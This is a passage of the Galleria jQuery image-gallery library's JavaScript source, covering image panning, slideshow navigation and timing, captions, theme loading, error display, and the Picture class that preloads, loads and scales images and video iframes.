parseInt( img.css( 'left' ), 10 ), destY = parseInt( img.css( 'top' ), 10 ), curX = destX || 0, curY = destY || 0, distX = 0, distY = 0, active = false, ts = Utils.timestamp(), cache = 0, move = 0, // positions the image position = function( dist, cur, pos ) { if ( dist > 0 ) { move = M.round( M.max( dist * -1, M.min( 0, cur ) ) ); if ( cache !== move ) { cache = move; if ( IE === 8 ) { // scroll is faster for IE img.parent()[ 'scroll' + pos ]( move * -1 ); } else { var css = {}; css[ pos.toLowerCase() ] = move; img.css(css); } } } }, // calculates mouse position after 50ms calculate = function(e) { if (Utils.timestamp() - ts < 50) { return; } active = true; x = self.getMousePosition(e).x; y = self.getMousePosition(e).y; }, // the main loop to check loop = function(e) { if (!active) { return; } distX = img.width() - self._stageWidth; distY = img.height() - self._stageHeight; destX = x / self._stageWidth * distX * -1; destY = y / self._stageHeight * distY * -1; curX += ( destX - curX ) / self._options.imagePanSmoothness; curY += ( destY - curY ) / self._options.imagePanSmoothness; position( distY, curY, 'Top' ); position( distX, curX, 'Left' ); }; // we need to use scroll in IE8 to speed things up if ( IE === 8 ) { img.parent().scrollTop( curY * -1 ).scrollLeft( curX * -1 ); img.css({ top: 0, left: 0 }); } // unbind and bind event this.$( 'stage' ).off( 'mousemove', calculate ).on( 'mousemove', calculate ); // loop the loop this.addTimer( 'pan' + self._id, loop, 50, true); return this; }, /** Brings the scope into any callback @param fn The callback to bring the scope into @param [scope] Optional scope to bring @example $('#fullscreen').click( this.proxy(function() { this.enterFullscreen(); }) ) @returns {Function} Return the callback with the gallery scope */ proxy : function( fn, scope ) { if ( typeof fn !== 'function' ) { return F; } scope = scope || this; return function() { return fn.apply( scope, Utils.array( arguments ) ); }; }, /** Removes the panning effect set by addPan() @returns Instance */ removePan: function() { // todo: doublecheck IE8 this.$( 'stage' ).off( 'mousemove' ); this.clearTimer( 'pan' + this._id ); return this; }, /** Adds an element to the Galleria DOM array. When you add an element here, you can access it using element ID in many API calls @param {string} id The element ID you wish to use. You can add many elements by adding more arguments. @example addElement('mybutton'); @example addElement('mybutton','mylink'); @returns Instance */ addElement : function( id ) { var dom = this._dom; $.each( Utils.array(arguments), function( i, blueprint ) { dom[ blueprint ] = Utils.create( 'galleria-' + blueprint ); }); return this; }, /** Attach keyboard events to Galleria @param {Object} map The map object of events. Possible keys are 'UP', 'DOWN', 'LEFT', 'RIGHT', 'RETURN', 'ESCAPE', 'BACKSPACE', and 'SPACE'. @example this.attachKeyboard({ right: this.next, left: this.prev, up: function() { console.log( 'up key pressed' ) } }); @returns Instance */ attachKeyboard : function( map ) { this._keyboard.attach.apply( this._keyboard, Utils.array( arguments ) ); return this; }, /** Detach all keyboard events to Galleria @returns Instance */ detachKeyboard : function() { this._keyboard.detach.apply( this._keyboard, Utils.array( arguments ) ); return this; }, /** Fast helper for appending galleria elements that you added using addElement() @param {string} parentID The parent element ID where the element will be appended @param {string} childID the element ID that should be appended @example this.addElement('myElement'); this.appendChild( 'info', 'myElement' ); @returns Instance */ appendChild : function( parentID, childID ) { this.$( parentID ).append( this.get( childID ) || childID ); return this; }, /** Fast helper for prepending galleria elements that you added using addElement() @param {string} parentID The parent element ID where the element will be prepended @param {string} childID the element ID that should be prepended @example this.addElement('myElement'); this.prependChild( 'info', 'myElement' ); @returns Instance */ prependChild : function( parentID, childID ) { this.$( parentID ).prepend( this.get( childID ) || childID ); return this; }, /** Remove an element by blueprint @param {string} elemID The element to be removed. You can remove multiple elements by adding arguments. @returns Instance */ remove : function( elemID ) { this.$( Utils.array( arguments ).join(',') ).remove(); return this; }, // a fast helper for building dom structures // leave this out of the API for now append : function( data ) { var i, j; for( i in data ) { if ( data.hasOwnProperty( i ) ) { if ( data[i].constructor === Array ) { for( j = 0; data[i][j]; j++ ) { this.appendChild( i, data[i][j] ); } } else { this.appendChild( i, data[i] ); } } } return this; }, // an internal helper for scaling according to options _scaleImage : function( image, options ) { image = image || this._controls.getActive(); // janpub (JH) fix: // image might be unselected yet // e.g. when external logics rescales the gallery on window resize events if( !image ) { return; } var complete, scaleLayer = function( img ) { $( img.container ).children(':first').css({ top: M.max(0, Utils.parseValue( img.image.style.top )), left: M.max(0, Utils.parseValue( img.image.style.left )), width: Utils.parseValue( img.image.width ), height: Utils.parseValue( img.image.height ) }); }; options = $.extend({ width: this._stageWidth, height: this._stageHeight, crop: this._options.imageCrop, max: this._options.maxScaleRatio, min: this._options.minScaleRatio, margin: this._options.imageMargin, position: this._options.imagePosition, iframelimit: this._options.maxVideoSize }, options ); if ( this._options.layerFollow && this._options.imageCrop !== true ) { if ( typeof options.complete == 'function' ) { complete = options.complete; options.complete = function() { complete.call( image, image ); scaleLayer( image ); }; } else { options.complete = scaleLayer; } } else { $( image.container ).children(':first').css({ top: 0, left: 0 }); } image.scale( options ); return this; }, /** Updates the carousel, useful if you resize the gallery and want to re-check if the carousel nav is needed. @returns Instance */ updateCarousel : function() { this._carousel.update(); return this; }, /** Resize the entire gallery container @param {Object} [measures] Optional object with width/height specified @param {Function} [complete] The callback to be called when the scaling is complete @returns Instance */ resize : function( measures, complete ) { if ( typeof measures == 'function' ) { complete = measures; measures = undef; } measures = $.extend( { width:0, height:0 }, measures ); var self = this, $container = this.$( 'container' ); $.each( measures, function( m, val ) { if ( !val ) { $container[ m ]( 'auto' ); measures[ m ] = self._getWH()[ m ]; } }); $.each( measures, function( m, val ) { $container[ m ]( val ); }); return this.rescale( complete ); }, /** Rescales the gallery @param {number} width The target width @param {number} height The target height @param {Function} complete The callback to be called when the scaling is complete @returns Instance */ rescale : function( width, height, complete ) { var self = this; // allow rescale(fn) if ( typeof width === 'function' ) { complete = width; width = undef; } var scale = function() { // set stagewidth self._stageWidth = width || self.$( 'stage' ).width(); self._stageHeight = height || self.$( 'stage' ).height(); if ( self._options.swipe ) { $.each( self._controls.slides, function(i, img) { self._scaleImage( img ); $( img.container ).css('left', self._stageWidth * i); }); self.$('images').css('width', self._stageWidth * self.getDataLength()); } else { // scale the active image self._scaleImage(); } if ( self._options.carousel ) { self.updateCarousel(); } var frame = self._controls.frames[ self._controls.active ]; if (frame) { self._controls.frames[ self._controls.active ].scale({ width: self._stageWidth, height: self._stageHeight, iframelimit: self._options.maxVideoSize }); } self.trigger( Galleria.RESCALE ); if ( typeof complete === 'function' ) { complete.call( self ); } }; scale.call( self ); return this; }, /** Refreshes the gallery. Useful if you change image options at runtime and want to apply the changes to the active image. @returns Instance */ refreshImage : function() { this._scaleImage(); if ( this._options.imagePan ) { this.addPan(); } return this; }, _preload: function() { if ( this._options.preload ) { var p, i, n = this.getNext(), ndata; try { for ( i = this._options.preload; i > 0; i-- ) { p = new Galleria.Picture(); ndata = this.getData( n ); p.preload( this.isFullscreen() && ndata.big ? ndata.big : ndata.image ); n = this.getNext( n ); } } catch(e) {} } }, /** Shows an image by index @param {number|boolean} index The index to show @param {Boolean} rewind A boolean that should be true if you want the transition to go back @returns Instance */ show : function( index, rewind, _history ) { var swipe = this._options.swipe; // do nothing queue is long || index is false || queue is false and transition is in progress if ( !swipe && ( this._queue.length > 3 || index === false || ( !this._options.queue && this._queue.stalled ) ) ) { return; } index = M.max( 0, M.min( parseInt( index, 10 ), this.getDataLength() - 1 ) ); rewind = typeof rewind !== 'undefined' ? !!rewind : index < this.getIndex(); _history = _history || false; // do the history thing and return if ( !_history && Galleria.History ) { Galleria.History.set( index.toString() ); return; } if ( this.finger && index !== this._active ) { this.finger.to = -( index*this.finger.width ); this.finger.index = index; } this._active = index; // we do things a bit simpler in swipe: if ( swipe ) { var data = this.getData(index), self = this; if ( !data ) { return; } var src = this.isFullscreen() && data.big ? data.big : ( data.image || data.iframe ), image = this._controls.slides[index], cached = image.isCached( src ), thumb = this._thumbnails[ index ]; var evObj = { cached: cached, index: index, rewind: rewind, imageTarget: image.image, thumbTarget: thumb.image, galleriaData: data }; this.trigger($.extend(evObj, { type: Galleria.LOADSTART })); self.$('container').removeClass( 'videoplay' ); var complete = function() { self._layers[index].innerHTML = self.getData().layer || ''; self.trigger($.extend(evObj, { type: Galleria.LOADFINISH })); self._playCheck(); }; self._preload(); window.setTimeout(function() { // load if not ready if ( !image.ready || $(image.image).attr('src') != src ) { if ( data.iframe && !data.image ) { image.isIframe = true; } image.load(src, function(image) { evObj.imageTarget = image.image; self._scaleImage(image, complete).trigger($.extend(evObj, { type: Galleria.IMAGE })); complete(); }); } else { self.trigger($.extend(evObj, { type: Galleria.IMAGE })); complete(); } }, 100); } else { protoArray.push.call( this._queue, { index : index, rewind : rewind }); if ( !this._queue.stalled ) { this._show(); } } return this; }, // the internal _show method does the actual showing _show : function() { // shortcuts var self = this, queue = this._queue[ 0 ], data = this.getData( queue.index ); if ( !data ) { return; } var src = this.isFullscreen() && data.big ? data.big : ( data.image || data.iframe ), active = this._controls.getActive(), next = this._controls.getNext(), cached = next.isCached( src ), thumb = this._thumbnails[ queue.index ], mousetrigger = function() { $( next.image ).trigger( 'mouseup' ); }; self.$('container').toggleClass('iframe', !!data.isIframe).removeClass( 'videoplay' ); // to be fired when loading & transition is complete: var complete = (function( data, next, active, queue, thumb ) { return function() { var win; _transitions.active = false; // optimize quality Utils.toggleQuality( next.image, self._options.imageQuality ); // remove old layer self._layers[ self._controls.active ].innerHTML = ''; // swap $( active.container ).css({ zIndex: 0, opacity: 0 }).show(); $( active.container ).find( 'iframe, .galleria-videoicon' ).remove(); $( self._controls.frames[ self._controls.active ].container ).hide(); $( next.container ).css({ zIndex: 1, left: 0, top: 0 }).show(); self._controls.swap(); // add pan according to option if ( self._options.imagePan ) { self.addPan( next.image ); } // make the image clickable // order of precedence: iframe, link, lightbox, clicknext if ( ( data.iframe && data.image ) || data.link || self._options.lightbox || self._options.clicknext ) { $( next.image ).css({ cursor: 'pointer' }).on( 'mouseup', function( e ) { // non-left click if ( typeof e.which == 'number' && e.which > 1 ) { return; } // iframe / video if ( data.iframe ) { if ( self.isPlaying() ) { self.pause(); } var frame = self._controls.frames[ self._controls.active ], w = self._stageWidth, h = self._stageHeight; $( frame.container ).css({ width: w, height: h, opacity: 0 }).show().animate({ opacity: 1 }, 200); window.setTimeout(function() { frame.load( data.iframe + ( data.video ? '&autoplay=1' : '' ), { width: w, height: h }, function( frame ) { self.$( 'container' ).addClass( 'videoplay' ); frame.scale({ width: self._stageWidth, height: self._stageHeight, iframelimit: data.video ? self._options.maxVideoSize : undef }); }); }, 100); return; } // clicknext if ( self._options.clicknext && !Galleria.TOUCH ) { if ( self._options.pauseOnInteraction ) { self.pause(); } self.next(); return; } // popup link if ( data.link ) { if ( self._options.popupLinks ) { win = window.open( data.link, '_blank' ); } else { window.location.href = data.link; } return; } if ( self._options.lightbox ) { self.openLightbox(); } }); } // check if we are playing self._playCheck(); // trigger IMAGE event self.trigger({ type: Galleria.IMAGE, index: queue.index, imageTarget: next.image, thumbTarget: thumb.image, galleriaData: data }); // remove the queued image protoArray.shift.call( self._queue ); // remove stalled self._queue.stalled = false; // if we still have images in the queue, show it if ( self._queue.length ) { self._show(); } }; }( data, next, active, queue, thumb )); // let the carousel follow if ( this._options.carousel && this._options.carouselFollow ) { this._carousel.follow( queue.index ); } // preload images self._preload(); // show the next image, just in case Utils.show( next.container ); next.isIframe = data.iframe && !data.image; // add active classes $( self._thumbnails[ queue.index ].container ) .addClass( 'active' ) .siblings( '.active' ) .removeClass( 'active' ); // trigger the LOADSTART event self.trigger( { type: Galleria.LOADSTART, cached: cached, index: queue.index, rewind: queue.rewind, imageTarget: next.image, thumbTarget: thumb.image, galleriaData: data }); // stall the queue self._queue.stalled = true; // begin loading the next image next.load( src, function( next ) { // add layer HTML var layer = $( self._layers[ 1-self._controls.active ] ).html( data.layer || '' ).hide(); self._scaleImage( next, { complete: function( next ) { // toggle low quality for IE if ( 'image' in active ) { Utils.toggleQuality( active.image, false ); } Utils.toggleQuality( next.image, false ); // remove the image panning, if applied // TODO: rethink if this is necessary self.removePan(); // set the captions and counter self.setInfo( queue.index ); self.setCounter( queue.index ); // show the layer now if ( data.layer ) { layer.show(); // inherit click events set on image if ( ( data.iframe && data.image ) || data.link || self._options.lightbox || self._options.clicknext ) { layer.css( 'cursor', 'pointer' ).off( 'mouseup' ).mouseup( mousetrigger ); } } // add play icon if( data.video && data.image ) { _playIcon( next.container ); } var transition = self._options.transition; // can JavaScript loop through objects in order? yes. $.each({ initial: active.image === null, touch: Galleria.TOUCH, fullscreen: self.isFullscreen() }, function( type, arg ) { if ( arg && self._options[ type + 'Transition' ] !== undef ) { transition = self._options[ type + 'Transition' ]; return false; } }); // validate the transition if ( transition in _transitions.effects === false ) { complete(); } else { var params = { prev: active.container, next: next.container, rewind: queue.rewind, speed: self._options.transitionSpeed || 400 }; _transitions.active = true; // call the transition function and send some stuff _transitions.init.call( self, transition, params, complete ); } // trigger the LOADFINISH event self.trigger({ type: Galleria.LOADFINISH, cached: cached, index: queue.index, rewind: queue.rewind, imageTarget: next.image, thumbTarget: self._thumbnails[ queue.index ].image, galleriaData: self.getData( queue.index ) }); } }); }); }, /** Gets the next index @param {number} [base] Optional starting point @returns {number} the next index, or the first if you are at the first (looping) */ getNext : function( base ) { base = typeof base === 'number' ? base : this.getIndex(); return base === this.getDataLength() - 1 ? 0 : base + 1; }, /** Gets the previous index @param {number} [base] Optional starting point @returns {number} the previous index, or the last if you are at the first (looping) */ getPrev : function( base ) { base = typeof base === 'number' ? base : this.getIndex(); return base === 0 ? this.getDataLength() - 1 : base - 1; }, /** Shows the next image in line @returns Instance */ next : function() { if ( this.getDataLength() > 1 ) { this.show( this.getNext(), false ); } return this; }, /** Shows the previous image in line @returns Instance */ prev : function() { if ( this.getDataLength() > 1 ) { this.show( this.getPrev(), true ); } return this; }, /** Retrieve a DOM element by element ID @param {string} elemId The delement ID to fetch @returns {HTMLElement} The elements DOM node or null if not found. */ get : function( elemId ) { return elemId in this._dom ? this._dom[ elemId ] : null; }, /** Retrieve a data object @param {number} index The data index to retrieve. If no index specified it will take the currently active image @returns {Object} The data object */ getData : function( index ) { return index in this._data ? this._data[ index ] : this._data[ this._active ]; }, /** Retrieve the number of data items @returns {number} The data length */ getDataLength : function() { return this._data.length; }, /** Retrieve the currently active index @returns {number|boolean} The active index or false if none found */ getIndex : function() { return typeof this._active === 'number' ? this._active : false; }, /** Retrieve the stage height @returns {number} The stage height */ getStageHeight : function() { return this._stageHeight; }, /** Retrieve the stage width @returns {number} The stage width */ getStageWidth : function() { return this._stageWidth; }, /** Retrieve the option @param {string} key The option key to retrieve. If no key specified it will return all options in an object. @returns option or options */ getOptions : function( key ) { return typeof key === 'undefined' ? this._options : this._options[ key ]; }, /** Set options to the instance. You can set options using a key & value argument or a single object argument (see examples) @param {string} key The option key @param {string} value the the options value @example setOptions( 'autoplay', true ) @example setOptions({ autoplay: true }); @returns Instance */ setOptions : function( key, value ) { if ( typeof key === 'object' ) { $.extend( this._options, key ); } else { this._options[ key ] = value; } return this; }, /** Starts playing the slideshow @param {number} delay Sets the slideshow interval in milliseconds. If you set it once, you can just call play() and get the same interval the next time. @returns Instance */ play : function( delay ) { this._playing = true; this._playtime = delay || this._playtime; this._playCheck(); this.trigger( Galleria.PLAY ); return this; }, /** Stops the slideshow if currently playing @returns Instance */ pause : function() { this._playing = false; this.trigger( Galleria.PAUSE ); return this; }, /** Toggle between play and pause events. @param {number} delay Sets the slideshow interval in milliseconds. @returns Instance */ playToggle : function( delay ) { return ( this._playing ) ? this.pause() : this.play( delay ); }, /** Checks if the gallery is currently playing @returns {Boolean} */ isPlaying : function() { return this._playing; }, /** Checks if the gallery is currently in fullscreen mode @returns {Boolean} */ isFullscreen : function() { return this._fullscreen.active; }, _playCheck : function() { var self = this, played = 0, interval = 20, now = Utils.timestamp(), timer_id = 'play' + this._id; if ( this._playing ) { this.clearTimer( timer_id ); var fn = function() { played = Utils.timestamp() - now; if ( played >= self._playtime && self._playing ) { self.clearTimer( timer_id ); self.next(); return; } if ( self._playing ) { // trigger the PROGRESS event self.trigger({ type: Galleria.PROGRESS, percent: M.ceil( played / self._playtime * 100 ), seconds: M.floor( played / 1000 ), milliseconds: played }); self.addTimer( timer_id, fn, interval ); } }; self.addTimer( timer_id, fn, interval ); } }, /** Modify the slideshow delay @param {number} delay the number of milliseconds between slides, @returns Instance */ setPlaytime: function( delay ) { this._playtime = delay; return this; }, setIndex: function( val ) { this._active = val; return this; }, /** Manually modify the counter @param {number} [index] Optional data index to fectch, if no index found it assumes the currently active index @returns Instance */ setCounter: function( index ) { if ( typeof index === 'number' ) { index++; } else if ( typeof index === 'undefined' ) { index = this.getIndex()+1; } this.get( 'current' ).innerHTML = index; if ( IE ) { // weird IE bug var count = this.$( 'counter' ), opacity = count.css( 'opacity' ); if ( parseInt( opacity, 10 ) === 1) { Utils.removeAlpha( count[0] ); } else { this.$( 'counter' ).css( 'opacity', opacity ); } } return this; }, /** Manually set captions @param {number} [index] Optional data index to fectch and apply as caption, if no index found it assumes the currently active index @returns Instance */ setInfo : function( index ) { var self = this, data = this.getData( index ); $.each( ['title','description'], function( i, type ) { var elem = self.$( 'info-' + type ); if ( !!data[type] ) { elem[ data[ type ].length ? 'show' : 'hide' ]().html( data[ type ] ); } else { elem.empty().hide(); } }); return this; }, /** Checks if the data contains any captions @param {number} [index] Optional data index to fectch, if no index found it assumes the currently active index. @returns {boolean} */ hasInfo : function( index ) { var check = 'title description'.split(' '), i; for ( i = 0; check[i]; i++ ) { if ( !!this.getData( index )[ check[i] ] ) { return true; } } return false; }, jQuery : function( str ) { var self = this, ret = []; $.each( str.split(','), function( i, elemId ) { elemId = $.trim( elemId ); if ( self.get( elemId ) ) { ret.push( elemId ); } }); var jQ = $( self.get( ret.shift() ) ); $.each( ret, function( i, elemId ) { jQ = jQ.add( self.get( elemId ) ); }); return jQ; }, /** Converts element IDs into a jQuery collection You can call for multiple IDs separated with commas. @param {string} str One or more element IDs (comma-separated) @returns jQuery @example this.$('info,container').hide(); */ $ : function( str ) { return this.jQuery.apply( this, Utils.array( arguments ) ); } }; // End of Galleria prototype // Add events as static variables $.each( _events, function( i, ev ) { // legacy events var type = /_/.test( ev ) ? ev.replace( /_/g, '' ) : ev; Galleria[ ev.toUpperCase() ] = 'galleria.'+type; } ); $.extend( Galleria, { // Browser helpers IE9: IE === 9, IE8: IE === 8, IE7: IE === 7, IE6: IE === 6, IE: IE, WEBKIT: /webkit/.test( NAV ), CHROME: /chrome/.test( NAV ), SAFARI: /safari/.test( NAV ) && !(/chrome/.test( NAV )), QUIRK: ( IE && doc.compatMode && doc.compatMode === "BackCompat" ), MAC: /mac/.test( navigator.platform.toLowerCase() ), OPERA: !!window.opera, IPHONE: /iphone/.test( NAV ), IPAD: /ipad/.test( NAV ), ANDROID: /android/.test( NAV ), TOUCH: ('ontouchstart' in doc) }); // Galleria static methods /** Adds a theme that you can use for your Gallery @param {Object} theme Object that should contain all your theme settings. <ul> <li>name - name of the theme</li> <li>author - name of the author</li> <li>css - css file name (not path)</li> <li>defaults - default options to apply, including theme-specific options</li> <li>init - the init function</li> </ul> @returns {Object} theme */ Galleria.addTheme = function( theme ) { // make sure we have a name if ( !theme.name ) { Galleria.raise('No theme name specified'); } if ( typeof theme.defaults !== 'object' ) { theme.defaults = {}; } else { theme.defaults = _legacyOptions( theme.defaults ); } var css = false, reg; if ( typeof theme.css === 'string' ) { // look for manually added CSS $('link').each(function( i, link ) { reg = new RegExp( theme.css ); if ( reg.test( link.href ) ) { // we found the css css = true; // the themeload trigger _themeLoad( theme ); return false; } }); // else look for the absolute path and load the CSS dynamic if ( !css ) { $(function() { // Try to determine the css-path from the theme script. // In IE8/9, the script-dom-element seems to be not present // at once, if galleria itself is inserted into the dom // dynamically. We therefore try multiple times before raising // an error. var retryCount = 0; var tryLoadCss = function() { $('script').each(function (i, script) { // look for the theme script reg = new RegExp('galleria\\.' + theme.name.toLowerCase() + '\\.'); if (reg.test(script.src)) { // we have a match css = script.src.replace(/[^\/]*$/, '') + theme.css; window.setTimeout(function () { Utils.loadCSS(css, 'galleria-theme', function () { // the themeload trigger _themeLoad(theme); }); }, 1); } }); if (!css) { if (retryCount++ > 5) { Galleria.raise('No theme CSS loaded'); } else { window.setTimeout(tryLoadCss, 500); } } }; tryLoadCss(); }); } } else { // pass _themeLoad( theme ); } return theme; }; /** loadTheme loads a theme js file and attaches a load event to Galleria @param {string} src The relative path to the theme source file @param {Object} [options] Optional options you want to apply @returns Galleria */ Galleria.loadTheme = function( src, options ) { // Don't load if theme is already loaded if( $('script').filter(function() { return $(this).attr('src') == src; }).length ) { return; } var loaded = false, err; // start listening for the timeout onload $( window ).load( function() { if ( !loaded ) { // give it another 20 seconds err = window.setTimeout(function() { if ( !loaded && !Galleria.theme ) { Galleria.raise( "Galleria had problems loading theme at " + src + ". Please check theme path or load manually.", true ); } }, 20000); } }); // first clear the current theme, if exists Galleria.unloadTheme(); // load the theme Utils.loadScript( src, function() { loaded = true; window.clearTimeout( err ); }); return Galleria; }; /** unloadTheme unloads the Galleria theme and prepares for a new theme @returns Galleria */ Galleria.unloadTheme = function() { if ( typeof Galleria.theme == 'object' ) { $('script').each(function( i, script ) { if( new RegExp( 'galleria\\.' + Galleria.theme.name + '\\.' ).test( script.src ) ) { $( script ).remove(); } }); Galleria.theme = undef; } return Galleria; }; /** Retrieves a Galleria instance. @param {number} [index] Optional index to retrieve. If no index is supplied, the method will return all instances in an array. @returns Instance or Array of instances */ Galleria.get = function( index ) { if ( !!_instances[ index ] ) { return _instances[ index ]; } else if ( typeof index !== 'number' ) { return _instances; } else { Galleria.raise('Gallery index ' + index + ' not found'); } }; /** Configure Galleria options via a static function. The options will be applied to all instances @param {string|object} key The options to apply or a key @param [value] If key is a string, this is the value @returns Galleria */ Galleria.configure = function( key, value ) { var opts = {}; if( typeof key == 'string' && value ) { opts[key] = value; key = opts; } else { $.extend( opts, key ); } Galleria.configure.options = opts; $.each( Galleria.get(), function(i, instance) { instance.setOptions( opts ); }); return Galleria; }; Galleria.configure.options = {}; /** Bind a Galleria event to the gallery @param {string} type A string representing the galleria event @param {function} callback The function that should run when the event is triggered @returns Galleria */ Galleria.on = function( type, callback ) { if ( !type ) { return; } callback = callback || F; // hash the bind var hash = type + callback.toString().replace(/\s/g,'') + Utils.timestamp(); // for existing instances $.each( Galleria.get(), function(i, instance) { instance._binds.push( hash ); instance.bind( type, callback ); }); // for future instances Galleria.on.binds.push({ type: type, callback: callback, hash: hash }); return Galleria; }; Galleria.on.binds = []; /** Run Galleria Alias for $(selector).galleria(options) @param {string} selector A selector of element(s) to intialize galleria to @param {object} options The options to apply @returns Galleria */ Galleria.run = function( selector, options ) { if ( $.isFunction( options ) ) { options = { extend: options }; } $( selector || '#galleria' ).galleria( options ); return Galleria; }; /** Creates a transition to be used in your gallery @param {string} name The name of the transition that you will use as an option @param {Function} fn The function to be executed in the transition. The function contains two arguments, params and complete. Use the params Object to integrate the transition, and then call complete when you are done. @returns Galleria */ Galleria.addTransition = function( name, fn ) { _transitions.effects[name] = fn; return Galleria; }; /** The Galleria utilites */ Galleria.utils = Utils; /** A helper metod for cross-browser logging. It uses the console log if available otherwise it falls back to alert @example Galleria.log("hello", document.body, [1,2,3]); */ Galleria.log = function() { var args = Utils.array( arguments ); if( 'console' in window && 'log' in window.console ) { try { return window.console.log.apply( window.console, args ); } catch( e ) { $.each( args, function() { window.console.log(this); }); } } else { return window.alert( args.join('<br>') ); } }; /** A ready method for adding callbacks when a gallery is ready Each method is call before the extend option for every instance @param {function} callback The function to call @returns Galleria */ Galleria.ready = function( fn ) { if ( typeof fn != 'function' ) { return Galleria; } $.each( _galleries, function( i, gallery ) { fn.call( gallery, gallery._options ); }); Galleria.ready.callbacks.push( fn ); return Galleria; }; Galleria.ready.callbacks = []; /** Method for raising errors @param {string} msg The message to throw @param {boolean} [fatal] Set this to true to override debug settings and display a fatal error */ Galleria.raise = function( msg, fatal ) { var type = fatal ? 'Fatal error' : 'Error', css = { color: '#fff', position: 'absolute', top: 0, left: 0, zIndex: 100000 }, echo = function( msg ) { var html = '<div style="padding:4px;margin:0 0 2px;background:#' + ( fatal ? '811' : '222' ) + ';">' + ( fatal ? '<strong>' + type + ': </strong>' : '' ) + msg + '</div>'; $.each( _instances, function() { var cont = this.$( 'errors' ), target = this.$( 'target' ); if ( !cont.length ) { target.css( 'position', 'relative' ); cont = this.addElement( 'errors' ).appendChild( 'target', 'errors' ).$( 'errors' ).css(css); } cont.append( html ); }); if ( !_instances.length ) { $('<div>').css( $.extend( css, { position: 'fixed' } ) ).append( html ).appendTo( DOM().body ); } }; // if debug is on, display errors and throw exception if fatal if ( DEBUG ) { echo( msg ); if ( fatal ) { throw new Error(type + ': ' + msg); } // else just echo a silent generic error if fatal } else if ( fatal ) { if ( _hasError ) { return; } _hasError = true; fatal = false; echo( 'Gallery could not load.' ); } }; // Add the version Galleria.version = VERSION; /** A method for checking what version of Galleria the user has installed and throws a readable error if the user needs to upgrade. Useful when building plugins that requires a certain version to function. @param {number} version The minimum version required @param {string} [msg] Optional message to display. If not specified, Galleria will throw a generic error. @returns Galleria */ Galleria.requires = function( version, msg ) { msg = msg || 'You need to upgrade Galleria to version ' + version + ' to use one or more components.'; if ( Galleria.version < version ) { Galleria.raise(msg, true); } return Galleria; }; /** Adds preload, cache, scale and crop functionality @constructor @requires jQuery @param {number} [id] Optional id to keep track of instances */ Galleria.Picture = function( id ) { // save the id this.id = id || null; // the image should be null until loaded this.image = null; // Create a new container this.container = Utils.create('galleria-image'); // add container styles $( this.container ).css({ overflow: 'hidden', position: 'relative' // for IE Standards mode }); // saves the original measurements this.original = { width: 0, height: 0 }; // flag when the image is ready this.ready = false; // flag for iframe Picture this.isIframe = false; }; Galleria.Picture.prototype = { // the inherited cache object cache: {}, // show the image on stage show: function() { Utils.show( this.image ); }, // hide the image hide: function() { Utils.moveOut( this.image ); }, clear: function() { this.image = null; }, /** Checks if an image is in cache @param {string} src The image source path, ex '/path/to/img.jpg' @returns {boolean} */ isCached: function( src ) { return !!this.cache[src]; }, /** Preloads an image into the cache @param {string} src The image source path, ex '/path/to/img.jpg' @returns Galleria.Picture */ preload: function( src ) { $( new Image() ).load((function(src, cache) { return function() { cache[ src ] = src; }; }( src, this.cache ))).attr( 'src', src ); }, /** Loads an image and call the callback when ready. Will also add the image to cache. @param {string} src The image source path, ex '/path/to/img.jpg' @param {Object} [size] The forced size of the image, defined as an object { width: xx, height:xx } @param {Function} callback The function to be executed when the image is loaded & scaled @returns The image container (jQuery object) */ load: function(src, size, callback) { if ( typeof size == 'function' ) { callback = size; size = null; } if( this.isIframe ) { var id = 'if'+new Date().getTime(); var iframe = this.image = $('<iframe>', { src: src, frameborder: 0, id: id, allowfullscreen: true, css: { visibility: 'hidden' } })[0]; if ( size ) { $( iframe ).css( size ); } $( this.container ).find( 'iframe,img' ).remove(); this.container.appendChild( this.image ); $('#'+id).load( (function( self, callback ) { return function() { window.setTimeout(function() { $( self.image ).css( 'visibility', 'visible' ); if( typeof callback == 'function' ) { callback.call( self, self ); } }, 10); }; }( this, callback ))); return this.container; } this.image = new Image(); // IE8 opacity inherit bug if ( Galleria.IE8 ) { $( this.image ).css( 'filter', 'inherit' ); } var reload = false, resort = false, // some jquery cache $container = $( this.container ), $image = $( this.image ), onerror = function() { if ( !reload ) { reload = true; // reload the image with a timestamp window.setTimeout((function(image, src) { return function() { image.attr('src', src + (src.indexOf('?') > -1 ? '&' : '?') + Utils.timestamp() ); }; }( $(this), src )), 50); } else { // apply the dummy image if it exists if ( DUMMY ) { $( this ).attr( 'src', DUMMY ); } else { Galleria.raise('Image not found: ' + src); } } }, // the onload method onload = (function( self, callback, src ) { return function() { var complete = function() { $( this ).off( 'load' ); // save the original size self.original = size || { height: this.height, width: this.width }; // translate3d if needed if ( Galleria.HAS3D ) { this.style.MozTransform = this.style.webkitTransform = 'translate3d(0,0,0)'; } $container.append( this ); self.cache[ src ] = src; // will override old cache if (typeof callback == 'function' ) { window.setTimeout(function() { callback.call( self, self ); },1); } }; // Delay the callback to "fix" the Adblock Bug // http://code.google.com/p/adblockforchrome/issues/detail?id=3701 if ( ( !this.width || !this.height ) ) { (function( img ) { Utils.wait({ until: function() { return img.width && img.height; }, success: function() { complete.call( img ); }, error: function() { if ( !resort ) { $(new Image()).load( onload ).attr( 'src', img.src ); resort = true; } else { Galleria.raise('Could not extract width/height from image: ' + img.src + '. Traced measures: width:' + img.width + 'px, height: ' + img.height + 'px.'); } }, timeout: 100 }); }( this )); } else { complete.call( this ); } }; }( this, callback, src )); // remove any previous images $container.find( 'iframe,img' ).remove(); // append the image $image.css( 'display', 'block'); // hide it for now Utils.hide( this.image ); // remove any max/min scaling $.each('minWidth minHeight maxWidth maxHeight'.split(' '), function(i, prop) { $image.css(prop, (/min/.test(prop) ? '0' : 'none')); }); // begin load and insert in cache when done $image.load( onload ).on( 'error', onerror ).attr( 'src', src ); // return the container return this.container; }, /** Scales and crops the image @param {Object} options The method takes an object with a number of options: <ul> <li>width - width of the container</li> <li>height - height of the container</li> <li>min - minimum scale ratio</li> <li>max - maximum scale ratio</li> <li>margin - distance in pixels from the image border to the container</li> <li>complete - a callback that fires when scaling is complete</li> <li>position - positions the image, works like the css background-image property.</li> <li>crop - defines how to crop. Can be true, false, 'width' or 'height'</li> <li>canvas - set to true to try a canvas-based rescale</li> </ul> @returns The image container object (jQuery) */ scale: function( options ) { var self = this; // extend some defaults options = $.extend({ width: 0, height: 0, min: undef, max: undef, margin: 0, complete: F, position: 'center', crop: false, canvas: false, iframelimit: undef }, options); if( this.isIframe ) { var cw = options.width, ch = options.height, nw, nh; if ( options.iframelimit ) { var r = M.min( options.iframelimit/cw, options.iframelimit/ch ); if ( r < 